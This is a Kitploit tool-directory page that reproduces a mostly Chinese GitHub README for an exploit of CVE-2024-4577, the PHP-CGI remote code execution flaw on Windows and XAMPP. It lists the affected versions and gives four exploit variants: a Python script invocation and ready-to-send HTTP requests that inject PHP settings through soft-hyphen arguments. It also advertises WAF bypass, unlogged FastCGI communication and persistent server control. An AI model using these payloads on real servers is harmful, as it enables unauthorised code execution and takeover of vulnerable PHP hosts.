Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-4577-PHP-RCE — Exploit for CVE-2024-4577 PHP-CGI RCE on Windows, with WAF bypass and SSRF support. Provides multiple exploit variants for default, WAF, and SSRF scenarios. | Kitploit
Tools/GitHubGitHub/a-roshbaik/cve-2024-4577-php-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPenetration Testing
GitHuba-roshbaik/cve-2024-4577-php-rce

CVE-2024-4577-PHP-RCE

Exploit for CVE-2024-4577 PHP-CGI RCE on Windows, with WAF bypass and SSRF support. Provides multiple exploit variants for default, WAF, and SSRF scenarios.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
652 years agoNot yet reviewed
Share
Content not available in the requested language. Showing English version.

CVE-2024-4577-PHP-RCE

项目简介与原理

  • 全球首款利用PHP默认环境(XAMPP)的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。
  • The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
  • 实现PHP默认环境RCE。原理:cgi.force_redirect + REDIRECT-STATUS。
  • 新增原创EXP,支持绕过WAF场景的打法。原理:建立FastCGI服务端 + FastCGI协议通讯。
  • 新增原创EXP,支持SSRF场景的打法。原理:data://协议 + GET请求。

EXP 1 的优点

  • 无需 allow_url_include、auto_prepend_file、auto_append_file 即可RCE。可包含任意文件和php文件。
  • 不会出现WAF经常拦截的关键词 allow_url_include、auto_prepend_file、auto_append_file。
  • FastCGI服务端的所有通讯不会被WAF记录。
  • 监听新端口,因此实现持久化控制php服务端,独立于apache和php。

漏洞简介

信息内容
漏洞名称PHP RCE
漏洞编号CVE-2024-4577
风险等级高危
漏洞类型RCE
利用难度低

影响版本

  • PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
  • PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
  • PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
  • PHP Windows版 影响版本 == 8.0.x
  • PHP Windows版 影响版本 == 7.x
  • PHP Windows版 影响版本 == 5.x
  • XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
  • XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
  • XAMPP Windows版 影响版本 == 8.0.x
  • XAMPP Windows版 影响版本 == 7.x
  • XAMPP Windows版 影响版本 == 5.x

EXP 1

可用于绕过WAF场景 + 默认场景:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

例如:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

可用于SSRF场景 + 默认场景:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

可用于默认场景:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

可用于默认场景:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

复现

  1. 服务端环境:
XAMPP Windows版 8.2.12
  1. 服务端下载并安装 XAMPP:
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

或者自主去这里挑受影响版本:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

  1. 服务端配置
无需任何修改,保持默认配置
  1. 客户端使用EXP
使用上述EXP进行测试
  1. 验证
观察是否返回字符串 "TesT" 或者服务端system.ini文件内容
Download Tool